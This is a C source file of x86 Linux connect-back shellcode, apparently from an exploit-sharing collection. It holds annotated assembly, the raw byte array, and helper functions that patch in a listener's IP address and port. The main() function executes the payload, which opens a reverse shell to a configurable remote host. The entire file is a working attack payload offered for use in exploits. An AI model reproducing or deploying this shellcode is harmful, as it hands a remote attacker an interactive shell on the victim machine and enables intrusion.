/*---------------------------------------------------------------------------*
* 82 byte Connectback shellcode *
* by Benjamin Orozco - benoror@gmail.com *
*---------------------------------------------------------------------------*
* filename: x86-linux-connectback.c *
* discription: x86-linux connect back shellcode. Use SET_PORT() and *
* SET_IP() before using the shellcode. Example: *
* *
* SET_IP(sc, "192.168.13.22"); *
* SET_PORT(sc, 31337); *
* *
*___________________________________________________________________________*
*---------------------------------------------------------------------------*/
/*---------------------------------------------------------------------------*
* ASM Code *
*---------------------------------------------------------------------------*
# s = socket(2, 1, 0)
push $0x66 #
pop %eax # 0x66 = socketcall
push $0x1 #
pop %ebx # socket() = 1
xor %ecx,%ecx #
push %ecx # 0
push $0x1 # SOCK_STREAM = 1
push $0x2 # AF_INET = 2
mov %esp,%ecx # Arguments
int $0x80 # EXECUTE - Now %eax have the s fileDescriptor
# connect(s, [2, 64713, 127.127.127], 0x10)
push $0x7f7f7f7f # 127.127.127 = 0x7f7f7f7f
pushw $0xc9fc # PORT = 64713
pushw $0x2 # AF_INET = 2
mov %esp,%ecx # %ecx holds server struct
push $0x10 # sizeof(server) = 10
push %ecx # server struct
push %eax # s fileDescriptor
mov %esp,%ecx
mov %eax,%esi # now %esi holds s fileDescriptor [for connect()]
push $0x3 #
pop %ebx # connect() = 3
push $0x66 #
pop %eax # 0x66 = socketcall
int $0x80 # On success %eax = 0
# dup2(s, 2) , dup2(s, 1) , dup2(s, 0)
xchg %esi,%ebx # Put s fileDescriptor on %ebx [for dup2()]
push $0x2
pop %ecx
dup_loop:
mov $0x3f,%al # dup2() = 0x3f
int $0x80
dec %ecx
jns dup_loop
# execve("/bin//sh", ["/bin//sh",NULL])
mov $0xb,%al # execve = 11d
xor %edx,%edx
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %edx
push %ebx
mov %esp, %ecx
int $0x80
*----------------------------------------------------------------------------*/
char sc[] =
"\x6a\x66" //push $0x66
"\x58" //pop %eax
"\x6a\x01" //push $0x1
"\x5b" //pop %ebx
"\x31\xc9" //xor %ecx,%ecx
"\x51" //push %ecx
"\x6a\x01" //push $0x1
"\x6a\x02" //push $0x2
"\x89\xe1" //mov %esp,%ecx
"\xcd\x80" //int $0x80
"\x68\x7f\x7f\x7f\x7f" //push $0x7f7f7f7f //IP
"\x66\x68\xfc\xc9" //pushw $0xc9fc //PORT
"\x66\x6a\x02" //pushw $0x2
"\x89\xe1" //mov %esp,%ecx
"\x6a\x10" //push $0x10
"\x51" //push %ecx
"\x50" //push %eax
"\x89\xe1" //mov %esp,%ecx
"\x89\xc6" //mov %eax,%esi
"\x6a\x03" //push $0x3
"\x5b" //pop %ebx
"\x6a\x66" //push $0x66
"\x58" //pop %eax
"\xcd\x80" //int $0x80
"\x87\xf3" //xchg %esi,%ebx
"\x6a\x02" //push $0x2
"\x59" //pop %ecx
"\xb0\x3f" //mov $0x3f,%al
"\xcd\x80" //int $0x80
"\x49" //dec %ecx
"\x79\xf9" //jns 34
"\xb0\x0b" //mov $0xb,%al
"\x31\xd2" //xor %edx,%edx
"\x52" //push %edx
"\x68\x2f\x2f\x73\x68" //push $0x68732f2f
"\x68\x2f\x62\x69\x6e" //push $0x6e69622f
"\x89\xe3" //mov %esp,%ebx
"\x52" //push %edx
"\x53" //push %ebx
"\x89\xe1" //mov %esp,%ecx
"\xcd\x80"; //int $0x80
void SET_PORT(char *buf, int port) {
*(unsigned short *)(((buf)+24)) = (port);
char tmp = buf[24];
buf[24] = buf[25];
buf[25] = tmp;
}
void SET_IP(char *buf, char *ip) {
unsigned long backip = inet_addr(ip);
*(unsigned long *)(((buf)+18)) = (backip);
}
main(){
printf("size: %d bytes\n", strlen(sc));
SET_PORT(sc, 33333);
SET_IP(sc, "127.0.0.1");
__asm__("call sc");
}